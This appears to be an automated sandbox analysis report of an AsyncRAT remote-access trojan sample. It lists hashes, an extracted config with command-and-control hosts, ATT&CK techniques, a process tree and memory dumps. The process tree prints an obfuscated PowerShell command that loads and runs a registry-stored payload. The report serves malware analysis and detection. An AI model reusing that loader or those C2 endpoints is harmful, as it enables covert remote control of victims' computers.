asyncrat | 1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db

Analysis

max time kernel
150s
max time network
16s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
06-08-2024 01:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe
Size

322KB
MD5

59d3bc9ca446bf4fcce3a93cdbce134a
SHA1

37120e1b71956b5f3852605db0f33f4565a3952d
SHA256

1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db
SHA512

d23ddc6d55d8bf237e68d946f1a330a14907ea2b891ccea0890f63ee0f47f746b6e1d9d2151da1744b36d14b06b428fe308ffd97ae44732f3491682610950b63
SSDEEP

6144:3RptkRZIFoIkY/7J81GyQUMTa5+suXqWxHNDf1CPyysAosQSPJHdlLTpn:jHoIfjJ80Rl86xHTCPvsASQJHd

Score

10^/10

asyncrat discovery evasion execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

blue.o7lab.me:7777

server.underground-cheat.xyz:7777

Mutex

RPYntXGt1eJi

Attributes

delay
3
install
true
install_file
WinUpdate.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2804 created 428	2804	powershell.EXE	5

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral1/files/0x000700000001923a-9.dat	family_asyncrat

Executes dropped EXE 2 IoCs

pid	Process
2212	Install.exe
2116	$77svchost.exe

Loads dropped DLL 2 IoCs

pid	Process
2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe
2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2804	powershell.EXE

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\wbem\Performance\WmiApRpl_new.ini	WMIADAP.EXE
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2804 set thread context of 3068	2804	powershell.EXE	36

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Install.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	$77svchost.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 70166ac09ee7da01	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2804	powershell.EXE
2804	powershell.EXE
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe
3068	dllhost.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2804	powershell.EXE
Token: SeDebugPrivilege	2804	powershell.EXE
Token: SeDebugPrivilege	3068	dllhost.exe
Token: SeAuditPrivilege	856	svchost.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 2368 wrote to memory of 2212	2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe	30
PID 2368 wrote to memory of 2212	2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe	30
PID 2368 wrote to memory of 2212	2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe	30
PID 2368 wrote to memory of 2212	2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe	30
PID 2368 wrote to memory of 2212	2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe	30
PID 2368 wrote to memory of 2212	2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe	30
PID 2368 wrote to memory of 2212	2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe	30
PID 2368 wrote to memory of 2116	2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe	32
PID 2368 wrote to memory of 2116	2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe	32
PID 2368 wrote to memory of 2116	2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe	32
PID 2368 wrote to memory of 2116	2368	1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe	32
PID 2096 wrote to memory of 2804	2096	taskeng.exe	34
PID 2096 wrote to memory of 2804	2096	taskeng.exe	34
PID 2096 wrote to memory of 2804	2096	taskeng.exe	34
PID 2804 wrote to memory of 3068	2804	powershell.EXE	36
PID 2804 wrote to memory of 3068	2804	powershell.EXE	36
PID 2804 wrote to memory of 3068	2804	powershell.EXE	36
PID 2804 wrote to memory of 3068	2804	powershell.EXE	36
PID 2804 wrote to memory of 3068	2804	powershell.EXE	36
PID 2804 wrote to memory of 3068	2804	powershell.EXE	36
PID 2804 wrote to memory of 3068	2804	powershell.EXE	36
PID 2804 wrote to memory of 3068	2804	powershell.EXE	36
PID 2804 wrote to memory of 3068	2804	powershell.EXE	36
PID 3068 wrote to memory of 428	3068	dllhost.exe	5
PID 3068 wrote to memory of 476	3068	dllhost.exe	6
PID 3068 wrote to memory of 484	3068	dllhost.exe	7
PID 3068 wrote to memory of 492	3068	dllhost.exe	8
PID 3068 wrote to memory of 600	3068	dllhost.exe	9
PID 3068 wrote to memory of 676	3068	dllhost.exe	10
PID 3068 wrote to memory of 748	3068	dllhost.exe	11
PID 3068 wrote to memory of 812	3068	dllhost.exe	12
PID 3068 wrote to memory of 856	3068	dllhost.exe	13
PID 3068 wrote to memory of 964	3068	dllhost.exe	15
PID 3068 wrote to memory of 268	3068	dllhost.exe	16
PID 3068 wrote to memory of 1036	3068	dllhost.exe	17
PID 3068 wrote to memory of 1056	3068	dllhost.exe	18
PID 3068 wrote to memory of 1120	3068	dllhost.exe	19
PID 3068 wrote to memory of 1140	3068	dllhost.exe	20
PID 3068 wrote to memory of 1184	3068	dllhost.exe	21
PID 3068 wrote to memory of 1996	3068	dllhost.exe	23
PID 3068 wrote to memory of 832	3068	dllhost.exe	24
PID 3068 wrote to memory of 1348	3068	dllhost.exe	25
PID 3068 wrote to memory of 2328	3068	dllhost.exe	26
PID 3068 wrote to memory of 1360	3068	dllhost.exe	27
PID 3068 wrote to memory of 2096	3068	dllhost.exe	31
PID 3068 wrote to memory of 2116	3068	dllhost.exe	32
PID 3068 wrote to memory of 1540	3068	dllhost.exe	33
PID 3068 wrote to memory of 2804	3068	dllhost.exe	34
PID 3068 wrote to memory of 2808	3068	dllhost.exe	35

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:428
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{6642a619-f8c2-48ba-8683-47b375d8b1fd}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3068

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:476
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:600
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe
    3⤵
    PID:832
- - C:\Windows\system32\DllHost.exe
    C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
    3⤵
    PID:1348
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:676
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:748
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:812
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1120
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:856
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {B3DEDF06-6686-4CE8-9693-AD1A04011BA6} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2096
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+[Char](69)+'').GetValue(''+'$'+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Command and Scripting Interpreter: PowerShell
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2804
- - C:\Windows\system32\wbem\WMIADAP.EXE
    wmiadap.exe /F /T /R
    3⤵
    - Drops file in System32 directory
    PID:1540
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:964
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:268
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:1036
- C:\Windows\system32\taskhost.exe
  "taskhost.exe"
  2⤵
  PID:1056
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1140
- C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
  2⤵
  PID:1996
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:2328
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:1360

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:484

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:492

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:1184
- C:\Users\Admin\AppData\Local\Temp\1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe
  "C:\Users\Admin\AppData\Local\Temp\1a45c674c9c80cee378a210c83c2492baae976727c62bbaf262ee06e6b88c1db.exe"
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2368
- - C:\Users\Admin\AppData\Local\Temp\Install.exe
    "C:\Users\Admin\AppData\Local\Temp\Install.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2212
- - C:\Users\Admin\AppData\Local\Temp\$77svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\$77svchost.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:2116

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2117472631-11691903212819810-45914988-12442447972085881961-1726430524251014739"
1⤵
PID:2808

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

\Users\Admin\AppData\Local\Temp\$77svchost.exe

Filesize
45KB

MD5
a44a767dba207c04c74afae17144f787

SHA1
fa14f38216e259be5b181c825719f1c864691a5f

SHA256
26eaa5bce06cadc54cb4990fabb1b9150966ef720b07a836ef2bd456360246b2

SHA512
7dfd6e182ac9f16b29843cb0eabaa7db02fa3ee59c65c7822d9213859c4a7185d0fdcd1d51747a11b4fdd3a7947ea14fdc7fa583c13b4d3edf50b8d6d3178619

Download Submit
\Users\Admin\AppData\Local\Temp\Install.exe

Filesize
163KB

MD5
1a7d1b5d24ba30c4d3d5502295ab5e89

SHA1
2d5e69cf335605ba0a61f0bbecbea6fc06a42563

SHA256
b2cc4454c0a4fc80b1fc782c45ac7f76b1d95913d259090a2523819aeec88eb5

SHA512
859180338958509934d22dbc9be9da896118739d87727eb68744713259e819551f7534440c545185f469da03c86d96e425cdf5aae3fb027bb8b7f51044e08eaa

Download Submit
memory/428-35-0x0000000000BA0000-0x0000000000BCB000-memory.dmp

Filesize
172KB

Download
memory/428-44-0x0000000037890000-0x00000000378A0000-memory.dmp

Filesize
64KB

Download
memory/428-43-0x000007FEBE8E0000-0x000007FEBE8F0000-memory.dmp

Filesize
64KB

Download
memory/428-42-0x0000000000BA0000-0x0000000000BCB000-memory.dmp

Filesize
172KB

Download
memory/428-36-0x0000000000BA0000-0x0000000000BCB000-memory.dmp

Filesize
172KB

Download
memory/428-32-0x0000000000B70000-0x0000000000B95000-memory.dmp

Filesize
148KB

Download
memory/428-34-0x0000000000B70000-0x0000000000B95000-memory.dmp

Filesize
148KB

Download
memory/476-50-0x00000000000E0000-0x000000000010B000-memory.dmp

Filesize
172KB

Download
memory/476-58-0x0000000037890000-0x00000000378A0000-memory.dmp

Filesize
64KB

Download
memory/476-57-0x000007FEBE8E0000-0x000007FEBE8F0000-memory.dmp

Filesize
64KB

Download
memory/476-56-0x00000000000E0000-0x000000000010B000-memory.dmp

Filesize
172KB

Download
memory/484-72-0x0000000037890000-0x00000000378A0000-memory.dmp

Filesize
64KB

Download
memory/484-64-0x00000000001C0000-0x00000000001EB000-memory.dmp

Filesize
172KB

Download
memory/484-70-0x00000000001C0000-0x00000000001EB000-memory.dmp

Filesize
172KB

Download
memory/484-71-0x000007FEBE8E0000-0x000007FEBE8F0000-memory.dmp

Filesize
64KB

Download
memory/2116-15-0x0000000000260000-0x0000000000272000-memory.dmp

Filesize
72KB

Download
memory/2368-0-0x0000000000400000-0x0000000000453000-memory.dmp

Filesize
332KB

Download
memory/2804-20-0x0000000077630000-0x000000007774F000-memory.dmp

Filesize
1.1MB

Download
memory/2804-19-0x0000000077850000-0x00000000779F9000-memory.dmp

Filesize
1.7MB

Download
memory/2804-18-0x0000000001690000-0x00000000016BA000-memory.dmp

Filesize
168KB

Download
memory/2804-17-0x0000000000D50000-0x0000000000D58000-memory.dmp

Filesize
32KB

Download
memory/2804-16-0x0000000019EB0000-0x000000001A192000-memory.dmp

Filesize
2.9MB

Download
memory/3068-29-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3068-28-0x0000000077630000-0x000000007774F000-memory.dmp

Filesize
1.1MB

Download
memory/3068-27-0x0000000077850000-0x00000000779F9000-memory.dmp

Filesize
1.7MB

Download
memory/3068-26-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3068-22-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3068-21-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3068-24-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download
memory/3068-23-0x0000000140000000-0x0000000140008000-memory.dmp

Filesize
32KB

Download